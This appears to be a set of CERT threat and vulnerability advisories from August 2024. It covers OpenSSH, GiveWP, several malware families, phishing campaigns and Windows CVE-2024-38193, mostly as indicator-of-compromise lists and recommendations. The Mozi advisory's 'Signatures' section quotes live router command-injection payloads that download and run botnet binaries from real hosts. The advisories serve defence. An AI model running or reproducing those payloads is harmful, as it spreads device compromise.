| --- | --- |
| **OpenSSH Version Range** | **Vulnerability Status** |
| Earlier than 4.4p1 | Vulnerable unless patched for CVE-2006-5051 and CVE-2008-4109 |
| 4.4p1 <= OpenSSH < 8.5p1 | Not vulnerable due to a transformative patch for CVE-2006-5051 |
| 8.5p1 <= OpenSSH < 9.8p1 | Vulnerable due to the accidental removal of a critical component in a function |
| OpenBSD systems | Not affected due to their secure mechanism preventing this vulnerability |

**System Compromise:**

* Full system takeover by executing arbitrary code with root privileges.
* Installation of malware and creation of persistent backdoors.
* Manipulation and corruption of data.

1. **VA-2024-08-21-005**

It has been observed that a critical security flaw (CVE-2024-5932) has been found in the GiveWP WordPress plugin. This vulnerability has put websites at risk of both remote code execution and unauthorized file removal. The flaw scores a maximum of 10 on the CVSS severity scale and can be exploited by attackers without requiring any authentication.

The vulnerability is a PHP Object Injection (POI) flaw that can be triggered through the deserialization of untrusted input, via the give\_title parameter in the GiveWP plugin. The deserialization process can be exploited by injecting a crafted PHP object, which, when combined with an existing Property Oriented Programming (POP) chain present in the plugin, escalates the attack to Remote Code Execution (RCE). This means attackers can gain full control over the affected WordPress site without needing any prior authentication. The impact of this vulnerability is particularly alarming due to its ability to not only execute arbitrary code but also delete critical files from the server.

1. **TA-MAW-2024-08-21-16**

It has been observed that SystemBC is a type of malware classified as a RAT (Remote Access Trojan). It allows attackers to gain unauthorized access to and control over an infected system. Once installed, SystemBC provides various functionalities, including remote control, data exfiltration, payload delivery, network reconnaissance, persistence, and key features of a SOCKS proxy. While SystemBC and BlackBasta have distinct functions, they can be part of a coordinated attack.

**Impacts:**Data Loss, Infrastructure damage, Financial loss and reputation damage.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

45.155.249.97

195.2.70.38

77.238.250.123

217.15.175.191

77.238.229.63

191.142.74.28

77.238.224.56

37.221.126.202

77.238.245.233

91.196.70.160

91.142.74.28

**Domains:**

richardflorespoew.shop

feighminoritsjda.shop

justifycanddidatewd.shop

strwawrunnygjwu.shop

falseaudiencekd.shop

pleasurenarrowsdla.shop

raiseboltskdlwpow.shop

marathonbeedksow.shop

halagifts.com

spamicrosoft.com

preservedmoment.com

**HASHES:**

9ed2b4d88b263f5078003ef35654ed5c205ac2f2c0e9225d4cdb4c24a5ea9af2

949faad2c2401eb854b9c32a6bb6e514ad075e5cbe96154c172f5f6628af43ed

d512bf205fb9d1c429a7f11f3b720c74680ea88b62dda83372be8f0de1073a08

dc5c9310a2e6297caa4304002cdfb6fbf7d6384ddbd58574f77a411f936fab0b

9dc809b2e5fbf38fa01530609ca7b608e2e61bd713145f84cf22c68809aec372

fcf59559731574c845e42cd414359067e73fca108878af3ace99df779d48cbc3

cb03b206d63be966ddffa7a2115ea99f9fec50d351dce03dff1240bb073b5b50

ab1f101f6cd7c0cffc65df720b92bc8272f82a1e13f207dff21caaff7675029f

ac22ab152ed2e4e7b4cd1fc3025b58cbcd8d3d3ae3dbc447223dd4eabb17c45c

fb4fa180a0eee68c06c85e1e755f423a64aa92a3ec6cf76912606ac253973506

cff5c6694d8925a12ce13a85e969bd468e28313af2fb46797bdcf77092012732

b92cf617a952f0dd2c011d30d8532d895c0cfbfd9556f7595f5b220e99d14d64

ed062c189419bca7d8c816bcdb1a150c7ca7dd1ad6e30e1f46fae0c10ab062ef

ce1f44a677d9b7d1d62373175f5583d9e8c04e16ebd94656e21aa296e00e93d7

ccaa8c8b39cb4a4de4944200936bcd4796367c16421a89e6a7d5476ae2da78cd

7d96ec8b72015515c4e0b5a1ae6c799801cf7b86861ade0298a372c7ced5fd93

24b6ddd3028c28d0a13da0354333d19cbc8fd12d4351f083c8cb3a93ec3ae793

ab3daec39332ddeeba64a2f1916e6336a36ffcc751554954511121bd699b0caa

9c1e0c8c5b9b9fe9d0aa533fb7d9d1b57db98fd70c4f66a26a3ed9e06ac132a7

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-08-21-002**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The spear-phishing email contains an archive file named "Activity Analyzer.rar". The archive file extracts "Activity Analyzer.exe" which is a malicious file of Windows Operating System and belongs to CRIMSON RAT family. Upon execution, the exe file makes connection with the domain "JuichAngChi.online".

**The exe file performs following functions:**

* Execution (Native API, Shared Module)
* Privilege Escalation (DLL Side-Loading, Hijack Execution Flow )
* Defense Evasion (Obfuscated Files or Information, Deobfuscate/Decode Files or Information, Virtualization/Sandbox Evasion, System Checks)
* Discovery (Application Window Discovery, Remote System Discovery, Security Software Discovery, Software Discovery, System Information Discovery,  ,File and Directory Discovery, Virtualization/Sandbox Evasion)
* Command and Control (Application Layer Protocol, Non Standard Port, Remote Access Software)
* Lateral Movement (Remote Service, Remote Desktop Protocol)
* Impact (Resource Hijacking)

IP address of this malicious domain is "154.216.18.90” which is hosted on dedicated server. This IP address is malicious and currently active to potentially compromise the user credentials/propagate malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

c375c9ddee439e9ecb40875affbf7d12

18f206d146f2bb1fa51363a547d5a3ee

6ba050dba04f5a2f697b492b916c014d942ab1ed

ca607e3645ca11c7505d5eae9716d540697854d6

703e645845b3b5759943f119822e3f3ca6409bcdf8c69af8218c4e2baabd1b85

2e6bc46b4a5959dcba2791b68cdb70a938cf974a4153f2ec13390bc8c5761de2

**IP**:

154.216.18.90

**Domain:**

JuichAngChi.online

**Filename:**

Activity Analyzer.rar

Activity Analyzer.exe

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-22-018**

It has been discovered that BeaverTail, an information stealer & loader initially targeting macOS systems, has expanded its reach to Windows systems. Adversary core functionality includes collecting sensitive information and executing another tool called InvisibleFerret. The delivery method for macOS systems involves adversaries posing as cloned versions of a legitimate site as job recruiters and directing victims to download a malicious file. As for Windows systems, the specific initial access method is not known.

**Capabilities**

* Exfiltrates victim’s keychain data.
* Gathers data from browser directories.
* Collects information related to cryptocurrency wallet browser extensions.
* Sends exfiltrated data to the Command & Control (C2) server.
* Downloads additional payloads from the C2 server.
* Retrieves and executes additional malicious Python scripts.
* Reads files and attempts to execute various functions related to data exfiltration and payload download.

**Impacts**:

* Steal Sensitive Information
* Financial loss

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**  
95.164.17.24  
  
**URL:**  
http://185.235.241.208:1224  
  
**HASHES:**  
  
9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c  
0f5f0a3ac843df675168f82021c24180ea22f764f87f82f9f77fe8f0ba0b7132  
09a508e99b905330a3ebb7682c0dd5712e8eaa01a154b45a861ca12b6af29f86  
0ce264819c7af1c485878ce795fd4727952157af7ffdea5f78bfd5b9d7806db1  
104926c2c937b4597ea3493bccb7683ae812ef3c62c93a8fb008cfd64e05df59  
1123fea9d3a52989ec34041f791045c216d19db69d71e62aa6b24a22d3278ef9  
121ca625f582add0527f888bb84b31920183e78c7476228091ff2199ec5d796b  
12c0f44a931b9d0d74a2892565363bedfa13bec8e48ff5cd2352dec968f407ee  
1b21556fc8ecb9f8169ba0482de857b1f8a5cb120b2f1ac7729febe76f1eea83  
1c905fa3a108f4c9bc0578882ce7af9682760b80af5232f130aa4f6463156b25  
1f9169492d18bffacebe951a22495d5dec81f35b0929da7783b5f094efef7b48  
2618a067e976f35f65aee95fecc9a8f52abea2fffd01e001f9865850435694cf  
40645f9052e03fed3a33a7e0f58bc2c263eeae02cbc855b9308511f5dc134797  
41a912d72ba9d5db95094be333f79b60cae943a2bd113e20cc171f86ebcb86cf  
4c465e6c8f43f7d13a1b887ff26d9a30f77cf65dd3b6f2e9f7fe36c8b6e83003  
4c605c6ef280b4ed5657fe97ba5b6106b10c4de02a40ae8c8907683129156efd  
592769457001374fac7a44379282ddf28c2219020c88150e32853f7517896c34  
61dff5cbad45b4fe0852ac95b96b62918742b9c90dd47c672cbe0d1dafccb6c5  
6465f7ddc9cf8ab6714cbbd49e1fd472e19818a0babbaf3764e96552e179c9af  
6b3fce8f2dad7e803418edd8dfc807b0252705c11ec77114498b01766102e849  
700a582408cbda7ee79723b3969b8d10d67871ea31bb17c8ca3c0d94b481aa8c  
709820850127201a17caab273e01bb36ce185b4c4f68cd1099110bb193c84c42  
72ebfe69c69d2dd173bb92013ab44d895a3367f91f09e3f8d18acab44e37b26d  
75f9f99295f86de85a8a2e4d73ed569bdb14a56a33d8240c72084f11752b207e  
785f65f1853a08b0e86db5638fbd76e8cad5fe1359655716166a76035261c0be  
7b718a46ae4de09ed4f2513df6e989afe1fbb1a0f59511a4689fac5e1745547d  
7f8bb754f84a06b3e3617dd1138f07a918d11717cc63acaef8eb5c6d10101377  
845d7978682fa19161281a35b62f4c447c477082a765d6fedb219877d0c90f31  
9867f99a66e64f6bce0cfca18b124194a683b8e4cb0ced44f7cb09386e1b528d  
9ae24a1912e4b0bab76ae97484b62ea22bdc27b7ea3e6472f18bf04ca66c87de  
a2f8de3c5f5f6ecbf29c15afd43a7c13a5bf60023ecb371d39bcca6ceef1d2b7  
b5f151f0a4288e148fd10e19c78399f5b7bdff2ad66940fadd20d6eae4b7518b  
b833f40b2f3439f317cf95980b29bddd2245d2acc2d5c11e9690dd2fa4289585  
c8c11f9b308ea5983eebd8a414684021cc4cc1f67e7398ff967a18ae202fb457  
ceb59dbaf58a8de02f9d5e9b497321db0a19b7db4affd5b8d1a7e40d62775f96  
d8f065d264b1112d6ee3cf34979289e89d9dcb30d2a3bd78cc797a81d3d56f56  
db6e75987cabdbfc21d0fdcb1cdae9887c492cab2b2ff1e529601a34a2abfd99  
de42155e14a3c9c4d919316d6ba830229533de5063fcd110f53e2395ef3aa77a  
e2a940c7d19409e960427749519dc02293abe58a1bef78404a8390f818e40d08  
fc9bb03998a89524ce5a0f859feb45806983aa4feb5f4d436107198ca869ff6f  
ff620bd560485c13a58a0de941bd3e52943036e6a05306e928f7c626998822fb  
da6d9c837c7c2531f0dbb7ce92bfceba4a9979953b6d49ed0862551d4b465adc  
2d8a5b637a95de3b709780898b7c3957f93d72806e87302f50c40fe850471a44  
C5a73896dc628c23a0b6210f50019445e2b8bfc9770f4c81e1fed097f02dfade  
fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0  
d5c0b89e1dfbe9f5e5b2c3f745af895a36adf772f0b72a22052ae6dfa045cea6  
36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670  
0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-22-010**

It has been observed that Dispossessor aka Radar ransomware is targeting various sectors such as healthcare, education, financial services and transportation sectors. Adversary gain access to networks through various means, including exploiting vulnerabilities, weak passwords and the absence of Multi Factor Authentication (MFA). Adversary, after gaining access to the systems, steal data and deploy ransomware to encrypt the devices. The group operates using a dual-extortion model like other ransomware groups e.g. encrypting the system's files and exfiltrating the data to hold it for ransom. Adversary also engages in other malicious activities, such as reposting data stolen from other ransomware operations and attempting to sell it on breach-markets and hacking forums.

**Capabilities:**

* Self-Deletion: Can remove its own file after encrypting.
* Initial Access: Gets in through phishing or exploiting weaknesses in online apps.
* Command and Control (C2): Communicates with C2 servers using legitimate and open-source tools.
* Persistence: Maintains long-term access through remote monitoring tools and malware.
* Lateral Movement: Spreads across networks using RDP, PsExec, and SMB.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

radar.tld

dispossessor.com

dispossessor-cloud.com

cybershare.app

readteamcr.com

redhotcypher.com

cybernewsint.com

cybertube.video

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-08-22-006**

SolarWinds Security Updates

SolarWinds has released security updates to address hardcoded credentials and broken access control Remote Code Execution (RCE) vulnerabilities in SolarWinds Web Help Desk that allow to access internal functionality and modify data.

CVE ID: CVE-2024-28987 (Critical), CVE-2024-28986 (Critical)

Security Update for WPML plugin for WordPress

WordPress has released a security update to resolve the Remote Code Execution (RCE) vulnerability in the WPML plugin for WordPress. The affected versions are WPML plugin for WordPress versions up to, and including, 4.6.12.

CVE ID: CVE-2024-6386 (Critical)

Vulnerability in Typecho

A stored Cross Site Scripting (XSS) vulnerability has been discovered in Typecho. The affected version is Typecho v1.3.0.

CVE ID: CVE-2024-35540 (Critical)

Vulnerability in newlib

An arbitrary code execution vulnerability has been discovered in newlib. The affected version is newlib v.4.3.0.

CVE ID: CVE-2024-30949 (Critical)

Vulnerability in Woo Inquiry plugin for WordPress

A SQL injection vulnerability has been discovered in the Woo Inquiry plugin for WordPress. The affected versions are Woo Inquiry plugin for WordPress versions up to, and including, 0.1.

CVE ID: CVE-2024-7854 (Critical)

Vulnerability in wishnet Nepstech Wifi Router

A vulnerability has been discovered in wishnet Nepstech Wifi Router that allows to obtain sensitive information via the cookie's parameters. The affected version is wishnet Nepstech Wifi Router NTPL-XPON1GFEVN v1.0.

CVE ID: CVE-2024-42658 (Critical)

Vulnerability in Progress MOVEit Gateway

An improper authentication vulnerability has been discovered in Progress MOVEit Gateway (SFTP modules)that allows authentication bypass. The affected version is MOVEit Gateway: 2024.0.0.

CVE ID: CVE-2024-5805 (Critical)

Vulnerability in Tenda

An arbitrary command execution vulnerability has been discovered in Tenda. The affected version is Tenda FH1206 v02.03.01.35.

CVE ID: CVE-2024-42978 (Critical)

Vulnerability in TOTOLINK

An incorrect access control vulnerability has been discovered in TOTOLINK. The affected version is TOTOLINK LR350 V9.3.5u.6369\_B20220309.

CVE ID: CVE-2024-42967 (Critical)

Vulnerability in Task Manager App

A SQL injection vulnerability has been discovered in Task Manager App. The affected version is Task Manager App v1.0.

CVE ID: CVE-2024-25222 (Critical)

Vulnerability in TOTOLINK

A stack based buffer overflow vulnerability has been discovered in TOTOLINK. The affected version is TOTOLINK EX1200L 9.3.5u.6146\_B20201023.

CVE ID: CVE-2024-7909 (Critical)

Vulnerability in D-Link

A command injection vulnerability has been discovered in D-Link. The affected version is D-Link DI-8100 16.07.

CVE ID: CVE-2024-7833 (Critical)

1. **TA-MAW-2024-08-23-019**

It has been observed that the Fenix botnet, written in the Rust language, specifically targets banking and financial entities. The botnet leverages an attack chain involving several stages. Adversary gains initial access to systems through a drive-by compromise, which occurs when a user visits a website and is deceived into downloading a malicious ZIP file. Inside the ZIP file is a shortcut file with a .URL extension, which contains an embedded URL and code capable of downloading a JScript (JSE) file from an external site. The Fenix botnet IOCs overlaps with Command & Control (C2) infrastructure used by two different financially motivated cybercriminal groups, CyberCartel and Manipulated Caiman, who have consistently targeted financial institutions.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**  
  
216.245.184.147  
216.245.184.153 (hosts s9z8q5.top)  
  
**URLs:**  
  
http://216.245.184.147/www/sat.jse    
https://s9z8q5.top/X7UVpDcz2p/rgo.xls  
https://s9z8q5.top/X7UVpDcz2p/lo  
http://216.245.184.147/www  
  
**Hashes:**  
  
acba3354a4867462df05fbe85ae78f34959cfa92d2f8403df502f8a236a72df3  
2fc53109f3ccc0cdb34703069e47fbe95028d6e54d8ec0353d4d5fdfa9ce5e44  
b174d3db1c240ca66a1f0855dda391c218f94150f4f4d9bc1f9a47e7b0dd9c4e  
d7b2f0d4e748ea7c48f7d5e09ac05a94ef98cb165926847bb85b7998689cbb51  
3eb33045fc1c6622dc0f2cf02f1da3043f027ce78384f7c3813e72137a875f00  
79cb2072d6c21211483ee118a4eca6b5d9dfafb105d48ec818c0e880938c84b5

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-08-23-003**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email attachment contains an archive file named “External Cyber Security Alert.zip”. Upon clicking, the archive file "External Cyber Security Alert.desktop" is extracted, which is a malicious file. On clicking "External Cyber Security Alert.desktop” file, a PDF file named "External Cyber Security Alert.pdf" is downloaded from the Google Drive. This PDF file is not malicious, but it is used as a decoy to convince the victim of the legitimacy of the mail. Simultaneously, multiple commands are executed in the background. These commands download two ELF Linux Poseidon Malware files, "zib-dev" & "zib-runtime", saves them in the local directory and changes their permission and executes them. Further, on execution of these files, connection with the Command & Control (C2) servers, IPs "170.64.132.144" & "138.68.134.123" are established.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hashes:

b369549018c6b7aa1c1aad9d44b929bc

bdde8c9948142fafeec00d7094ae964f

d998dccf6de13041b80e26fe1a817621

0a8e6a268d512c1dce6450a446890010

4f43d3e53ca1ddc2fb2f76e641dc21026dfc1d6e

449cf51f57546aee3070592c262dc6f8fd42139b

68888b3feb88383ebf8c35e0ee646c9f01158d7d

9ea76f3f37235bfc9824e5a0e98846e7e81de335

d5e13ca249c0fcf8c3fc6ea350a8edee7db3c5e1f4203a702d890d342205af05

f3946a6865ef97ed7e9476666759c6103d5797372b96536d4c586e41442aa641

2019fec607e8955b79d194e1c6408e5c50269dac60b6f5864f36814774713361

5f607374431d77a7398927f45c5d1efc57513250622e23535dbc0a0a0584c3a1

IPs:

195.35.38.44

170.64.132.144

138.68.134.123

165.232.138.173

64.23.138.81

Filenames:

External Cyber Security Alert.zip

External Cyber Security Alert .desktop

Zib-dev

zib-runtime

Domain:

Mail-Sec.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-23-20**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

176.149.183.71

182.117.13.36

61.52.231.177

61.3.131.75

117.255.181.157

42.57.53.104

117.253.196.196

61.3.16.14

117.245.40.70

113.230.60.168

122.96.48.188

117.208.228.94

112.31.180.128

61.1.54.41

49.143.156.141

199.16.59.214

59.183.13.84

112.94.98.69

45.230.66.10

103.245.236.146

102.28.188.119

91.92.242.155

103.14.226.142

176.97.210.238

**URLs:-**

http://103.245.236.146/huhu.mips

http://182.117.13.36:40911/Mozi.m

http://61.52.231.177:49555/Mozi.m

http://61.3.131.75:35441/Mozi.m

http://117.255.181.157:51201/Mozi.m

http://42.57.53.104:47986/Mozi.m

http://117.253.196.196:54010/Mozi.m

http://61.3.16.14:56154/Mozi.m

http://117.245.40.70:48239/Mozi.m

http://113.230.60.168:36089/Mozi.m

http://102.28.188.119:52011/Mozi.m

http://117.208.228.94:43120/Mozi.m

http://112.31.180.128:44614/Mozi.m

http://61.1.54.41:41447/Mozi.m

http://59.183.13.84:40425/Mozi.m

http://45.230.66.10:11124/Mozi.m

http://91.92.242.155/most-mips

http://103.14.226.142/shk

http://bins.rootwho.su/sshdbot

https://tinyurl.com/2rh4n7cf%20-O%20-%3E%20/tmp/kh

http://199.16.59.214:48646/Mozi.a

http://176.97.210.238/shk

**Signatures:**

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*mips\*;${IFS}wget${IFS}http://103.245.236.146/huhu.mips;${IFS}chmod${IFS}777${IFS}huhu.mips;${IFS}./huhu.mips${IFS}zyxel.selfrep;

http://172.20.30.114/setup.cgi?next\_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/\*;wget+http://61.3.131.75:35441/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.255.181.157:51201/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.245.40.70:48239/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://199.16.59.214:48646/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-23-021**

It has been observed that QWERTY is an information-stealing malware that primarily targets sensitive data including network adapter information, system usernames, telemetry data, and sensitive browser data like browser history etc. Other capabilities include downloading additional payloads from its Command & Control (C2) server, indexing all files in the system, and uploading them to the C2 server via HTTP POST requests. The malware uses the keyword ‘qwerty’ in HTTP calls during exfiltration. The QWERTY Info Stealer malware replicates itself across various directories.

**Malware Distribution Methods:** Phishing emails with malicious attachments or compromised websites.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**DOMAIN:**

http://mailservicess.com

**HASHES:**

e70f64a374e1 784942c771940f07f08cdee78144f2135bf1665557d1fcee0f16

2d40e892e059850ba708f8092523efeede759ecd6e52d8cb7752462fcdb6f715

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IOCs: IOC\_Adv2024Aug011.txt attached**

1. **VA-2024-08-23-007**

It has been observed that threat actors like the Lazarus Group have been actively exploit-ing the zero-day Elevation of Privilege vulnerability (CVE-2024-38193) in Microsoft Win-dows systems. The exploitation of vulnerability could result in privilege escalation and the distribution of rootkits by threat actors. Adversaries have used the FudModule malware to evade detection and target the cryptocurrency and aviation sectors. Some other associat-ed malware used by adversaries are DarkMe, Ransom X, and DarkGate.

FudModule - FudModule malware is a rootkit used by the state-sponsored hacking group, and has the ability to integrate with other malware such as the Kaolin RAT. It enables the adversaries to gain kernel-level access to Windows machines and disable security soft-ware.

DarkMe - DarkMe malware is a Remote Access Trojan (RAT), used by the APT group Water Hydra known as DarkCasino to collect system information, perform actions such as data exfiltration & remote control and register with a Command & Control (C2) server for communication.  DarkMe's technical behaviour includes packet structure, DLL loader characteristics and payload assembly process.

DarkGate- DarkGate malware has the capabilities of RAT & acts as Malware-as-a-Service (MaaS). The malware is distributed through various methods like phishing emails, fake software installers and "ClickFix" for malware delivery. It has been observed that adver-saries are using different scripting interpreters, such as AutoIt and AutoHotKey, in its in-fection chain to evade detection.

**Affected Systems**: Microsoft Windows system specifically the Ancillary Function Driver for WinSock (Windows 10 & 11 and Windows Server 2012 & above).

**Security Update Link:**https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38193

**Recommendations**:

* Install update and patches regularly.
* Install and regularly update antivirus software.
* Implement Multi-Factor Authentication (MFA).
* Enforce use of strong passwords and limit user access through the principle of least privilege.
* Establish a Sender Policy Framework (SPF), Domain Message Authentication Report-ing and Conformance (DMARC), and Domain Keys Identified Mail (DKIM) for your do-main, which is an email validation system designed to prevent e-mail spoofing.
* Never click and execute email attachments from unknown sources.
* Never run unknown files with exaggerated titles.
* Never open links shared on social media from unknown sources.
* Review and Harden Configurations: Review the configuration settings of the affected software or system. Apply security best practices and harden configurations to reduce exposure to exploitation.
* Monitor for Suspicious Activity: Implement monitoring solutions to detect unusual or unauthorized activities, especially those attempting to escalate privileges.
* Regular Updates: Keep your systems and software up to date with the latest security patches and updates.
* Network Segmentation: Segment your network to limit the spread of malware and reduce the impact of a potential breach.
* Conduct regular backup practices and keep those backups offline or on a separate network.
* Remove unnecessary access to administrative shares, particularly ADMIN$ and C$. If ADMIN$ and C$ are required for operational purposes, restrict access to only essential services or user accounts and continuously monitor for any unusual activity. Employ a host-based firewall to permit connections to administrative shares via SMB solely from a restricted group of administrator machines.

1. **TA-PHI-2024-08-23-004**

It has been observed that a long-term phishing campaign by Initial Access Broker (IAB) is targeting a wide range of industry verticals and geographical areas. The Initial Access Broker (IAB) is an integral part of the cybercriminal ecosystem. Threat actor IAB is specialised in infiltrating computer systems & networks and then selling that unauthorized access to other malicious actors. This enables threat actor to minimize the risk of detection by swiftly launching cyber-attacks, such as ransomware or data exfiltration. The threat actor sent a phishing email containing a malicious attachment masquerading as a sensitive file involving tax payments. The attachment is a MIME type HTML document which, when executed, would open on a webpage that mimicked the Microsoft cloud login portal and prompt the victim to enter their password.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

793a800fc63b8fc00e0d267cb3074f1fbfc3b5dcc40d2003ba7df2a448106328

8cddff362362a975d3521d531d25cb9b3bdf8a7084dd25386b1180af9fa62865

08451be1dc49713f5ef9fbe4c7f1254c13ed699b702e0b1d422fda56e3c8d30f

38c073ca7fe15642d93e62c988cf2686df7e914fe861c91dac04586c8654be90

415c802ac7d0d24c16cfeb90008934d476be41310c98ad01283f87cd2b62c0b6

a6877b89a6e2196781603f8ecde053e4b30c174838fc4cad1b02296306fd290e

22ca678de27cd56c0c2d9f5d28a6822e7883e453c3fce8c450eeb63b685bcb64

a4bb2cc0b5bba170f8e5edc352b5205095bde1e91b8b1e4c220e94c75a45b2be

1328e81ea136bcf0b13002257935989b4a64f78021132a2699d9a615b4524596

ce9ad72f4fb1b46f4030d040eea17ddeb194bf8de873ee7572c22430aca08464

ff27a30d1e9de1548df82e12a41d4c214e1385dc668d4ac72a5a8b106aa535bb

becd2ae8938566fda90fc632952e64cc8f2cb0bce8371e6f5b3aa7666c708b70

